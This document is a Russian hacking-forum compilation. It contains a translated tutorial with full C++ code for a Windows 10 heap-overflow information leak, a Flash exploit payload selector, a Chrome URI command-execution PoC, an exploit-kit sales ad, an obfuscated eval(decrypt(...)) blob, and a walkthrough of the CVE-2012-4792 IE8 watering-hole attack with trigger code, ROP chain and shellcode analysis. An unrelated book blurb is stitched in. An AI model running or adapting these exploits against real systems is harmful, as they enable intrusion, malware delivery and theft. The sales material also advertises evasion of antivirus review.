[ Chunk 1 ][ BSTR ][ Array of pointers ]
Точная перезапись
Для этого сценария эксплуатации наиболее важной целью для нашего переполнения
кучи является следующее: точно перезаписать длину BSTR. Поле длины
представляет собой четырехбайтовое значение, найденное перед строкой BSTR:
В этом примере вы хотите изменить шестнадцатеричное значение 0xF8 на что-то большее, например 0xFF, что позволяет BSTR читать 255 байт. Этого более чем достаточно, чтобы прочитать данные BSTR и собрать данные в следующем фрагменте. Ваш код может выглядеть так:
Что касается приложения, BSTR теперь содержит некоторые указатели, которые мы хотим. Мы наконец готовы претендовать на нашу награду.
Чтение пропущенных данных
Когда вы читаете BSTR с указателями vftable, вы хотите точно определить, где
находятся эти четыре байта, а затем подстроковать его. Эти четыри
необработанные байты нужно преобразовать в целочисленное значение. Следующий
пример демонстрирует, как это сделать:
C:Copy to clipboard
std::wstring ws(bStrings[0], strSize);
std::wstring ref = ws.substr(120+16, 4);
char buf[4];
memcpy(buf, ref.data(), 4);
int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));
Другие языки действительно подошли бы к конвертации аналогичным образом. Поскольку JavaScript является довольно популярным инструментом для работы с кучей, вот еще один пример для демонстрации:
JavaScript:Copy to clipboard
var bytes = "AAAA";
var intVal = bytes.charCodeAt(0) | bytes.charCodeAt(1) << 8 | bytes.charCodeAt(2) << 16 | bytes.charCodeAt(3) << 24;
// This gives you 1094795585
console.log(intVal);
Получив адрес vftable, вы можете использовать его для расчета базового адреса изображения. Интересная информация, которую вы хотите знать, это то, что местоположение vftables предопределено в разделе .rdata, что означает, что, пока вы не перекомпилируете, ваша vftable должна оставаться там:
Это значительно облегчает вычисление базового адреса изображения:
Code:Copy to clipboard
Offset to Image Base = VFTable - Image Base Address
Для окончательного продукта для нашей утечки информации, вот исходный код:
C++:Copy to clipboard
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <iostream>
using namespace std;
#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10
class SomeObject {
public:
void function1() {};
virtual void virtual_function1() {};
};
int main(int args, char** argv) {
int i;
BSTR bstr;
BOOL result;
HANDLE hChunk;
void* allocations[ALLOC_COUNT];
BSTR bStrings[5];
SomeObject* object = new SomeObject();
HANDLE defaultHeap = GetProcessHeap();
if (defaultHeap == NULL) {
printf("No process heap. Are you having a bad day?\n");
return -1;
}
printf("Default heap = 0x%08x\n", defaultHeap);
printf("The following should be all in the backend allocator\n");
for (i = 0; i < ALLOC_COUNT; i++) {
hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
memset(hChunk, 'A', CHUNK_SIZE);
allocations[i] = hChunk;
printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
}
printf("Freeing allocation at index 3: 0x%08x\n", allocations[3]);
result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
if (result == 0) {
printf("Failed to free\n");
return -1;
}
for (i = 0; i < 5; i++) {
bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
bStrings[i] = bstr;
printf("[%d] BSTR string : 0x%08x\n", i, bstr);
}
printf("Freeing allocation at index 4 : 0x%08x\n", allocations[4]);
result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]);
if (result == 0) {
printf("Failed to free\n");
return -1;
}
int objRef = (int) object;
printf("SomeObject address : 0x%08x\n", objRef);
printf("Allocating SomeObject to vectors\n");
vector<int> array1(40, objRef);
vector<int> array2(40, objRef);
vector<int> array3(40, objRef);
vector<int> array4(40, objRef);
vector<int> array5(40, objRef);
vector<int> array6(40, objRef);
vector<int> array7(40, objRef);
vector<int> array8(40, objRef);
vector<int> array9(40, objRef);
vector<int> array10(40, objRef);
UINT strSize = SysStringByteLen(bStrings[0]);
printf("Original String size: %d\n", (int) strSize);
printf("Overflowing allocation 2\n");
char evilString[] =
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBB"
"CCCCDDDD"
"\xff\x00\x00\x00";
memcpy(allocations[2], evilString, sizeof(evilString));
strSize = SysStringByteLen(bStrings[0]);
printf("Modified String size: %d\n", (int) strSize);
std::wstring ws(bStrings[0], strSize);
std::wstring ref = ws.substr(120+16, 4);
char buf[4];
memcpy(buf, ref.data(), 4);
int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));
memcpy(buf, (void*) refAddr, 4);
int vftable = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));
printf("Found vftable address : 0x%08x\n", vftable);
int baseAddr = vftable - 0x0003a490;
printf("====================================\n");
printf("Image base address is : 0x%08x\n", baseAddr);
printf("====================================\n");
system("PAUSE");
return 0;
}
И наконец, давайте станем свидетелями сладкой победы
После утечки
Утечка адреса vftable и image приводит к тому, что эксплуатация приложения
будет во многом похожа на эпоху, предшествующую
ASLR , и
единственное, что останется между вами и оболочкой - это
[DEP](https://support.microsoft.com/en-us/help/875352/a-detailed-description-
of-the-data-execution-prevention-dep-feature-in) . Вы можете легко собрать
некоторые гаджеты ROP, используя утечку, победить DEP и заставить эксплойт
работать.
Следует иметь в виду, что независимо от того, какую DLL вы выберете для сбора гаджетов ROP, может быть несколько версий этой DLL, которые используются конечными пользователями по всему миру. Есть способы преодолеть это. Например, вы можете написать что-то, что сканирует изображение для нужных вам ROP- гаджетов. Или вы можете собрать все версии, которые вы можете найти для этой DLL, создать ROP для них, а затем использовать утечку, чтобы проверить, какая версия DLL используется вашим эксплойтом, и затем вернуть цепочку ROP соответствующим образом. Другие методы также возможны.
Выполнение произвольного кода
Теперь, когда мы закончили с утечкой, мы на один большой шаг приблизились к
выполнению произвольного кода. Если вам удалось прочитать весь процесс о том,
как использовать переполнение кучи для утечки данных, эта часть вам не так уж
и странна. Хотя есть несколько способов решения этой проблемы, мы на самом
деле можем заимствовать ту же идею из техники утечки и получить аварийный
отказ. Один из фокусов заключается в поведении вектора.
В C ++ вектор - это динамический массив, который автоматически увеличивается
или уменьшается. Базовый пример выглядит так:
C++:Copy to clipboard
#include <vector>
#include <string>
#include <iostream>
using namespace std;
int main(int args, char** argv) {
vector<string> v;
v.push_back("Hello World!");
cout << v.at(0) << endl;
return 0;
}
Это прекрасный инструмент для эксплойтов, так как он позволяет нам создавать
массив произвольного размера, который содержит указатели, которыми мы
управляем. Он также сохраняет содержимое в куче, что означает, что вы можете
использовать это для распределения кучи, что вы уже видели в примерах утечки
информации.
Заимствуя эту идею, мы могли бы придумать такую стратегию:
Реализация вышеуказанной стратегии выглядит примерно так:
C++:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include <vector>
using namespace std;
#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10
class SomeObject {
public:
void function1() {
};
virtual void virtualFunction() {
printf("test\n");
};
};
int main(int args, char** argv) {
int i;
HANDLE hChunk;
void* allocations[ALLOC_COUNT];
SomeObject* objects[5];
SomeObject* obj = new SomeObject();
printf("SomeObject address : 0x%08x\n", obj);
int vectorSize = 40;
HANDLE defaultHeap = GetProcessHeap();
for (i = 0; i < ALLOC_COUNT; i++) {
hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
memset(hChunk, 'A', CHUNK_SIZE);
allocations[i] = hChunk;
printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
}
HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
vector<SomeObject*> v1(vectorSize, obj);
vector<SomeObject*> v2(vectorSize, obj);
vector<SomeObject*> v3(vectorSize, obj);
vector<SomeObject*> v4(vectorSize, obj);
vector<SomeObject*> v5(vectorSize, obj);
vector<SomeObject*> v6(vectorSize, obj);
vector<SomeObject*> v7(vectorSize, obj);
vector<SomeObject*> v8(vectorSize, obj);
vector<SomeObject*> v9(vectorSize, obj);
vector<SomeObject*> v10(vectorSize, obj);
printf("vector : 0x%08x\n", v1);
printf("vector : 0x%08x\n", v2);
printf("vector : 0x%08x\n", v3);
printf("vector : 0x%08x\n", v4);
printf("vector : 0x%08x\n", v5);
printf("vector : 0x%08x\n", v6);
printf("vector : 0x%08x\n", v7);
printf("vector : 0x%08x\n", v8);
printf("vector : 0x%08x\n", v9);
printf("vector : 0x%08x\n", v10);
memset(allocations[2], 'B', CHUNK_SIZE + 8 + 32);
v1.at(0)->virtualFunction();
system("PAUSE");
return 0;
}
Поскольку содержимое вектора (попавшего в отверстие) перезаписывается данными, которые мы контролируем, если есть какая-то функция, которая хочет его использовать (которая ожидает напечатать «test»), мы в конечном итоге получим хороший сбой, который можно использовать , которая может быть прикована к утечке информации для создания полноценного эксплойта.
Резюме
Современная эксплуатация кучи - увлекательный и сложный предмет для освоения.
Требуется много времени и усилий, чтобы провести реинжиниринг внутренних
компонентов приложения, прежде чем вы узнаете, что вы можете использовать для
борьбы с коррупцией. Большинство из нас могут быть легко поражены этим, и
иногда мы чувствуем, что почти ничего не знаем об этом предмете. Однако,
поскольку большинство проблем с повреждением памяти основано на C / C ++, вы
можете создать свои собственные уязвимые случаи, чтобы испытать их. Таким
образом, когда вы сталкиваетесь с настоящим CVE, это уже не страшная тема: вы
знаете, как идентифицировать примитивы, и вы сами попробовали использовать
CVE.
Перевод a1d
Источник: <https://blog.rapid7.com/2019/06/12/heap-overflow-exploitation-on-
windows-10-explained/>
Пробовал кто?
explt взят от сюду
/rf/index.php
/rf/repeatWas.pdf
/rf/fromFactLooks.swf
/rf/update.php?id=6Malicious sites is hosted on 3 domain including:
cazkafuq.cn
jagbibiv.cn
zekxowiv.cnClick to expand...
ет до 9.115
Code:Copy to clipboard
var _loc_1:String = "4657530825....
var _loc_2:String = "4657530825....
var _loc_3:String = "4657530825....
var _loc_4:String = "4657530825....
var _loc_5:String = "4657530825....
var _loc_6:String = "4657530825....
var _loc_7:String = "4657530825....
var _loc_8:String = "4657530825....
var _loc_9:String = "4657530825....
var _loc_10:String = "465753082....
var _loc_11:String = "465753082....
var _loc_12:String = "465753082....
var _loc_14:* = Capabilities.playerType;
var _loc_15:* = Capabilities.version;
if (_loc_14 == "PlugIn")
{
if (_loc_15 == "WIN 9,0,115,0") _loc_13 = _loc_6;
if (_loc_15 == "WIN 9,0,16,0") _loc_13 = _loc_5;
if (_loc_15 == "WIN 9,0,28,0") _loc_13 = _loc_4;
if (_loc_15 == "WIN 9,0,45,0") _loc_13 = _loc_3;
if (_loc_15 == "WIN 9,0,47,0") _loc_13 = _loc_1;
if (_loc_15 == "WIN 9,0,64,0") _loc_13 = _loc_2;
}
if (_loc_14 == "ActiveX")
{
if (_loc_15 == "WIN 9,0,115,0") _loc_13 = _loc_11;
if (_loc_15 == "WIN 9,0,16,0") _loc_13 = _loc_10;
if (_loc_15 == "WIN 9,0,28,0") _loc_13 = _loc_9;
if (_loc_15 == "WIN 9,0,45,0") _loc_13 = _loc_8;
if (_loc_15 == "WIN 9,0,47,0") _loc_13 = _loc_12;
if (_loc_15 == "WIN 9,0,64,0") _loc_13 = _loc_7;
}
в архиве сплоит и разпакованый сплоит.
enjoy.
Капался на зарубежных форумах и наткнулся вот на такую видюху, кто нить может
сказать правдоподобно ли это или просто миф, по постам форума стало ясно что
цена этого добра 3к.
Ссылка на видео: СКАЧАТЬ
http://www.shadowserver.org/wiki/pmwiki.ph...lendar.20081210
появился 10го декабря прошлого года, как я понял залатан не так давно.
http://milw0rm.com/exploits/7410 вроде как это сие
как он отрабатывает сейчас?
Google Chrome – браузер с открытым исходным кодом от компании Google,
опять лицом в грязь. На этот раз очередное выполнение произвольного кода из-за
недостаточной фильтрации параметра "chromehtml:"
Эксплойт был проверен на XP/Vista, IE6/7.
Код эксплойта:
[New$paN]
Try this:
chromehtml:"%20--renderer-path="calc"%20--no-sandbox
Disabling sandbox does matter
Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ...Full PoC:
Chrome URI Handler Remote Command Execution PoC This is a test
Click to expand...
© По материалам www.securitylab.ru
Функции:
1. Перед выдачей сплоита анализируется версия оси, браузера и другого постороннего софта на машине юзера. От этого увеличивается скорость выполнения загрузки ехе, вероятность срабатывания сплоита и в конечном счете
- пробив.
2. Сплоиты шифруются в реальном времени уникальным ключом. Расшифровать JavаScript стандартными средствами не получится. Однако, если кто-то захочет угнать связку, то проще сделать свою, т.к. основную работу делает не JavаScript, а сама сишная прога.
3. Защита екзешника от повторной закачки на 1 час (это время устанавливается динамически), если тот был слит, а также блокировка самой связки - юзер видит 500 ошибку сервера. Если кто-то пробил линк, где лежит екзешник, то он его может слить в течении указанного времени только один раз и только со своего ip. Сделано для того, чтобы файл не попадал в руки, которые его могут сдать аверам.
4. Есть линк для маяков лоадера и линк необходимый самому лоадеру для слива ехе. В админке сплоита получается сразу есть и статса по сплоиту и стата по лоадеру.
5. Имеется статса по осям, браузерам, странам, реферерам, последним 100 заходам/загрузкам. Статса по загрузкам двух видов - по сплоиту (по http- обращениям к екзешнику) и по лоадеру (маяк или слив ехе).
6. Уникальность загрузок смотрится по ip, с которого был слит ехе. Период уникальности ip cчитается на протяжении всей работы связки, до тех пор пока не произошло обнуления статсы.
7. Мультиюзерность. Можно создавать юзеров, устанавливать каждому свой лоадер и каждому то, что лоадер забирает. Как бонус прилагается сишный исходник проги, которая получает от связки инфу об оси, браузере, реферере юзера, а так же id партнера, который шлет трафф. После этого прога может выдавать нужный екзешник. Например, прога заменяет в лоадере id партнера на нужный. Или грузит амерам один ехе, европейцам другой и т.д.
8. Пробиавает IE и Firefox всех версий.
Стоимость:
Цена продукта $1.5k Купившие этот сплоит сейчас получат в скором времени БЕСПЛАТНО совершенно новую связку из ветки 2.x , аналогов которой нет как по цене (предварительная стоимость 3к$).Click to expand...
Любите приват нахалявку ? Только не спрашивайте откуда она у меня. Вот ссылка(34 мегабайта):
Пароль высветится при запуске:
eval(decrypt("eF5Ld0t3dAwsD0gPLg8qD3YMdgxKdyzXBvIC0wMcAwGfrAo4",5339));
Click to expand...
Необходимая функция(моя) расшифровки:
function decrypt($cryptext,$key)
{
$g = "";
$gs = "";$cryptext = str_split(strrev(gzuncompress(base64_decode($crypt ext))),2);
foreach($cryptext as $tw)
{
$g .= $tw."==";
}
$g = str_split($g,4);
foreach($g as $g2)
{
$gs .= chr(ord(base64_decode($g2)) - $key);
}
return $gs;
}Click to expand...
какой пароль незнаю воть ссылка откуда сделал копи паст
Opera 9 (long href) Remote Denial of Service Exploit
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании
приложения.
Уязвимость существует при обработке данных в параметре href тега .
Удаленный пользователь может с помощью специально сформированной ссылки
аварийно завершить работу браузера.
Пример/Эксплоит:
Code:Copy to clipboard
<a href="http://aaaaaaaa...aaa
Протестить можно здесь:
_http://www.critical.lt/research/opera_die_happy.html
Это с нетерпением ожидаемое, переработанное и исправленное издание всемирного
бестселлера включает в себя сведения о последних достижениях в области
технологий операционных систем. Книга построена на примерах и содержит
информацию, необходимую для понимания функционирования современных
операционных систем.
Благодаря практическому опыту, приобретенному при разработке нескольких
операционных систем, и высокому уровню знания предмета Эндрю Таненбаум смог
ясно и увлеченно рассказать о сложных вещах. В книге приводится множество
важных подробностей, которых нет ни в одном другом издании.
_Современные операционные системы. 2-е издание
Эндрю Таненбаум
Издательство: Питер
Год издания: 2002
Объем: 1040 стр.
Формат: DjVu
Размер: 12.9 МБ_
Watering Hole Campaign
Хочу по быстрому рассказать про прикольную атаку на IE 8 кем то там, эксплоит особой ценности не имеет и был аж в декабре, но как его заюзали достойно уважения.
[http://eromang.zataz.com/2013/01/15/wateri...ulnerabilities/](http://eromang.zataz.com/2013/01/15/watering-
hole-campaign-use-latest-java-and-ie-vulnerabilities/)
[http://eromang.zataz.com/2013/01/22/report...-hole-
campaign/](http://eromang.zataz.com/2013/01/22/reporters-without-borders-
victim-of-watering-hole-campaign/)
https://twitter.com/PhysicalDrive0/status/297375423996784640
- Общие сведения.
Первая часть дока по атаке, я по сути рассказываю тоже самое, проходя все на своем опыте
[http://community.websense.com/blogs/securi...ry- domains.aspx](http://community.websense.com/blogs/securitylabs/archive/2013/01/31/The- CVE_2D00_2012_2D00_4792-and-the-Spearphishing-Rotary-domains.aspx)
Сам эксп в реализации метасплоита и статья про него в их блоге
[https://github.com/rapid7/metasploit- framew..._cbutton_uaf.rb](https://github.com/rapid7/metasploit- framework/blob/master/modules/exploits/windows/browser/ie_cbutton_uaf.rb)
[https://community.rapid7.com/community/meta...the-end- of-2012](https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft- internet-explorer-0-day-marks-the-end-of-2012)
Детальное описание одним гуру браузер эксплоитинга, на этой статье основывается код метасплоита
[http://blog.exodusintel.com/2013/01/02/hap...-cve-2012-4792/](http://blog.exodusintel.com/2013/01/02/happy- new-year-analysis-of-cve-2012-4792/)
Все упомянутые в статье файлы, будут приатачены в архиве.
Остальное в хайде ...
Spoiler: 50
- Выдача
Все начинается с index.html где 3 важных элемента 1 это собственно закриптованный js который можно глянуть в index.js, Длинная строка THISISIT с началом 'KKONG0ff7' о ней по позже и поле
Скрипт чекается версия браузера == ие8 и куки дабы пробивать только уникальных визитеров и делает запрос за файлом DOITYOUR01, проверяя есть ли он в наличие. В калбеке для w7 чекается присутствие activex SharePoint.OpenDocuments.x [http://msdn.microsoft.com/en- us/library/ms...office.14).aspx](http://msdn.microsoft.com/en- us/library/ms454230(v=office.14).aspx) или 6 явы, на них будет построен ROP шелкод под эту систему, под xp же отдается без доп проверок.
Так же в элемент test помещаются разные значения в зависимости от наличия того или иного объекта потом этим значением воспользуется флешь хип спреер
Code:Copy to clipboard
document.getElementById('test').innerHTML="cat";
Дальше пускается собственно флешь, а за ним в ифрейме триггер экспа. Сорец первого флеша в logo1229.txt, вся его суть чтобы анпакнуть из base64 другой флеш и передать его в лоадер
Code:Copy to clipboard
var _loc_1:* = "1dTD50jAAB4nO1ZbW ….";
var _loc_2:* = "6C/VbVG0wzBM7jIMS/ ….";
var _loc_3:* = new ByteArray();
_loc_3.writeBytes(base64("Q" + _loc_1));
_loc_3.writeBytes(base64(_loc_2));
this.loader1 = new Loader();
this.loader1.contentLoaderInfo.addEventListener(Event.COMPLETE, this.showFunc);
this.loader1.loadBytes(_loc_3);
Второй флешь сорцы которого есть в today.txt, в зависимости от версии венды её языка и значения переменой test в js, которая получается через ExternalInterface.call
Code:Copy to clipboard
_loc_3 = ExternalInterface.call("eval", "document.getElementById(\'test\').innerHTML");
собирает страницу размером 0x100000 с rop шелкодом + обычным шелкодом, меняется только роп шелкод под обе оси одинаковый, Спреит 320 таких страниц.
Хекс шелкода в файле sc.txt С помощью скрипта на питоне получаем бинарник sc.bin и смотрим его уже в ide.
Code:Copy to clipboard
def main():
ret = ''
sc = open('sc.txt','r').read()
for i in range(0, len(sc), 2):
h = sc[i:i+2]
j = int(h,16)
c = chr(j)
ret += c
open('sc.bin','w+b').write(ret)
if __name__ == '__main__':
main()
Видно что шелкод криптованный и в иде кроме как декриптора ничего не увидишь
О шелкоде расскажу чуть позже, и так создается ифрейм на DOITYOUR02.html, его скрипт стартует через 10 секунд, дабы флеш успел наспреить, кстати говоря из флеша вполне спокойно можно вызвать функцию в js не пришлось бы ждать, опять же передать значение которое флеш берез из 'test' там же можно было через flashvar, пришлось бы правда изменить реализацию, а зачастую сплоиты очень капризны так что мб реализация правильная.
Code:Copy to clipboard
<body onload="setTimeout(load,10000)">
Через 10 скрипт делает аякс запрос за DOITYOUR01.txt, декриптует
его содержимое и отдает в eval
Code:Copy to clipboard
function loader()
{
var xmlhttp = ajax();
xmlhttp.open('get', 'DOITYOUR01.txt', false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%");
code=unescape(page);
return code;
}
eval(loader());
- Бага СVE-2012-4792
Внутри же содержится сам триггер уязвимости
Code:Copy to clipboard
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++) {
arrObject[i] = document.createElement('div');
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
for (var i = 0; i < arrObject.length; i += 2) {
arrObject[i].className = null;
}
CollectGarbage();
for (var i = 0; i < elmObject.length; i++) {
elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2) {
arrObject[i].className = null;
}
CollectGarbage();
try {
location.href = 'ms-help://'
} catch (e) {}
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch (e)
{
}
CollectGarbage();
for (var i = 0; i < 20; i++) {
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
window.location = unescape("%u0d0c%u10abhttps://www.google.com/settings/account");
Подробнее что и как можно посмотреть в ссылках что я накидал выше. Я собрал тестер в папке test, где test.html – главный файл который стартует флешь today.swf и создает ифрейм на trigger.html, тестировал я это на xp sp3 так что флеш по идеи выбрал дефолтный msvcrt.dll rop шеллкод. Так же я изменил строчку в тригере
Code:Copy to clipboard
window.location = unescape("%u4142%u4344https://www.google.com/settings/account");
теперь приатачевшись в процесс вкладки ишака ( у ишака несколько процессов, мастер который запускает процессы воркеры для каждой вкладки, все дело происходит именно и в них ) в ольке, а ловлю ACCESS_VIOLATION при попытки прыгнуть на невалидный адрес, т. к. Eax = 0x43444142, меняем eax на то значение которое должно быть 0x10AB0D0C
- ROP шелкод
eax = 10AB0D0C
[eax + 0xdc] = DS:[10AB0DE8]= 77C15ED5 (msvcrt.77C15ED5)
eax = старое значение стека
esp = 10AB0D0C, стек принимает следующий вид и от сюда свой путь начинает rop
шелкод
Как раз это же можно увидеть при построение rop'а во флеше под русский хп
Code:Copy to clipboard
else if (Capabilities.language.toLowerCase() == "ru" && this.OS_Version == "windows xp")
{
_loc_7.writeInt(0x77C3EC01);
_loc_7.writeInt(0x77C3EC01);
_loc_7.writeInt(0x77C35B2E);
_loc_7.writeInt(0x10AC0CA0);
_loc_7.writeInt(0x55762378);
_loc_7.writeInt(0x77C35B2B);
_loc_7.writeInt(0x0);
_loc_7.writeInt(0x55762378);
_loc_7.writeInt(0x77C3E392);
_loc_7.writeInt(0x77C0110C);
_loc_7.writeInt(0x77C1E493);
_loc_7.writeInt(0x55762378);
_loc_7.writeInt(0x77C12755);
_loc_7.writeInt(0x77C41025);
_loc_7.writeInt(0x10AB0D0C);
_loc_7.writeInt(8192);
_loc_7.writeInt(4096);
_loc_7.writeInt(64);
_loc_7.writeInt(0xBCE9);
_loc_7.writeInt(0);
Вначале пару retn'ов, за ним
esi = 10AC0CA0, просто область данных внутри хипа для своих нужд
ebp = 55762378, считай 0x41414141
сохраняет старое значение стека, esi = 0, ebp = 55762378
помещается в eax указатель на дворд в импорте, который указывает на VirtualAlloc
помещается в eax адрес VirtualAlloc, ebp не меняется,
вызывает VirtualAlloc, в стеке на данным момент
Code:Copy to clipboard
10AB0D40 77C51025 msvcrt.77C51025
10AB0D44 10AB0D0C
10AB0D48 00002000
10AB0D4C 00001000
10AB0D50 00000040
10AB0D54 0000BCE9
10AB0D58 00000000
10AB0D5C 38383838
где 77C51025 будет использоваться как адрес возврата при выходе из VirtualAlloc, следующие четыре значения аргументы для вызова функции, получается следующий вызов
Code:Copy to clipboard
VirtualAlloc((PVOID)0x010AB0D0C, 0x2000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
При таком вызове функция возвращает 10AB0000 и походу у странице меняется протекция на RWE
т. к. данный гаджет передает управление на стек, где остается лежать
Code:Copy to clipboard
10AB0D54 0000BCE9
10AB0D58 00000000
что является JMP на шелкод, что надо сказать круто, я вот не знал что VirtualAlloc может менять протекцию страницы.
- Shellcode
Сам декриптованный код в файлах sc_dec.asm, sc_dec.idb. Декриптор
Начало декриптованного шелкода, esp меняется на адрес внутри спрея, дальше поиск базы kernel32.dll ala http://skypher.com/wiki/index.php/Hacking/Shellcode/kernel32
сохраняется старое значение ebp, jmp в конец к данным call оттуда вверх, т.о. в стеке адресс на данные
в ebp указатель на данные 14 хешей апих которые передаются в функу поиска апи по хешу, хеш замещается адресом функи, получается что ebp указывает на таблицу апих.
Code:Copy to clipboard
0020028D 778EDC65 kernel32.LoadLibraryA
00200291 77908154 kernel32.GetTempPathA
00200295 7792EDAE kernel32.WinExec
00200299 778EC266 kernel32.Sleep
0020029D 778FBBE2 kernel32.ExitProcess
002002A1 778E086B kernel32.GetFileSize
002002A5 778EEA61 kernel32.CreateFileA
002002A9 778EE868 kernel32.CloseHandle
002002AD 778F53EE kernel32.WriteFile
002002B1 778F060D kernel32.SetFilePointer
002002B5 778EC43A kernel32.VirtualAlloc
002002B9 778E9BAE kernel32.ReadFile
002002BD 778E2BED kernel32.SetEndOfFile
002002C1 778F6B15 kernel32.VirtualFree
Первым делом дергается GetTempPathA, потом путь дополняют именем dw20.EXE
Code:Copy to clipboard
0020006B C78405 21010000 >MOV DWORD PTR SS:[EBP+EAX+121],'02wd'
00200076 8B4D 3C MOV ECX,DWORD PTR SS:[EBP+3C]
00200079 85C9 TEST ECX,ECX
0020007B 75 0D JNZ SHORT 0020008A
0020007D C78405 25010000 >MOV DWORD PTR SS:[EBP+EAX+125],'EXE.'
00200088 EB 0B JMP SHORT 00200095
0020008A C78405 25010000 >MOV DWORD PTR SS:[EBP+EAX+125],'lld.'
А дальше интересный момент
в [edi] помещается 0, который с каждым проходом увеличивается на 4, это по сути идет перечисление всех хендлов, который отдаются в GetFileSize, если все прошло без ошибок то проверяется длинна больше ли она 0x2000, в этом цикле идет поиск файлового хендла в котором лежит кеш первой страницы. Далее выделяется память VirtualAlloc, файловый указатель для этого файла поднимается в самый верх SetFilePointer читается кусок в выделенную память ReadFile. В скопированном идет поиск подстроки KKONG. Если забыли в файле index.html была строка var THISISIT = "KKONG ..."
Code:Copy to clipboard
10AB0F31 8B4D 38 MOV ECX,DWORD PTR SS:[EBP+38]
10AB0F34 B8 4B000000 MOV EAX,'K'
10AB0F39 8BBD 88010000 MOV EDI,DWORD PTR SS:[EBP+188]
10AB0F3F 49 DEC ECX
10AB0F40 74 0D JE SHORT 10AB0F4F
10AB0F42 AE SCAS BYTE PTR ES:[EDI]
10AB0F43 ^75 FA JNZ SHORT 10AB0F3F
10AB0F45 813F 4B4F4E47 CMP DWORD PTR DS:[EDI],'GNOK'
При отладке не получалось найти нужный хендл, то ли процесс этот слишком долгий и хендл кеш файла закрывали то ли еще что то, в общем я через простую тулзу на си погрузил шелкод в память предварительно открыв index.html тогда поиск проходит удачно. Найдя нужно буфер декриптовал и перед глазами предстал обычный экзе.
CreateFileA вызывается не просто так, по адресу + 5 дабы видимо перескочить возможные джампы, так же адрес возврата заменяется адресом по которой выстраивается конструкция
Code:Copy to clipboard
push real_addr
rent
Зачем это нужно я хз, возможно для обхода каких то там защит, каких то там ав фв или анализаторов поведения, но все равно раз хочется скрытности стоило подумать о том что бы опуститься ниже, какая разницы будь такой защищенный хук на CreateFileW ( вызывается внутри CreateFileA )и все было бы бес толку. Дальше ничего интересного CreateFileA → WriteFile → CloseHandle → WinExec причем он вызывается c такими же фишками как и CreateFile.
- Packer/dropper
Шелкод дропает и запускает файл dw20.EX_, походу написанный на дельфи или каком то там произведение Borland, во всяком случае добавив в иду сигну Delphi половина функций определяется, что надо сказать очень удобно. Вся суть этого файла это запуск сохраненного внутри PE образа
Code:Copy to clipboard
v3 = get_resource_sub_403E84("DATA", &v4);
if ( v3 )
{
System::__linkproc___GetMem(v3);
v1 = v0;
system_move_sub_403B3C(v0, v3, v4);
decrypt_sub_403EC4(v1, v3);
v2 = decompress_sub_403DD0(v1, &v3, 2);
if ( v3 )
pe_loader_sub_403B88(v2, 0);
System::__linkproc___FreeMem(v1);
}
SendMessageA(dword_4097F8, 0x112u, 0xF060u, 0);
ExitThread(0);
get_resource_sub_403E84 достает из ресурсов код, decrypt_sub_403EC4 дешифрует его, decompress_sub_403DD0 выделяет память VirtualAlloc и анпакает туда данные по средством RtlDecompressBuffer, pe_loader_sub_403B88 собственно настраивает образ и передает управление, так что пропускаем это все и переходим сразу к дампу Dump_00B90000_000A9000.bin дропера.
Тут опять дельфи и еще больше ресурсов с интересными названиями, опять сигны все отлично подсвечивают, так что можно сбросить мапу Produce file → Create MAP file и загрузить это все в ольку для непосредственного просмотра.
Code:Copy to clipboard
v7 = 0;
do
{
v8 = GetDesktopWindow();
v7 += ValidateRect(v8, &Rect);
}
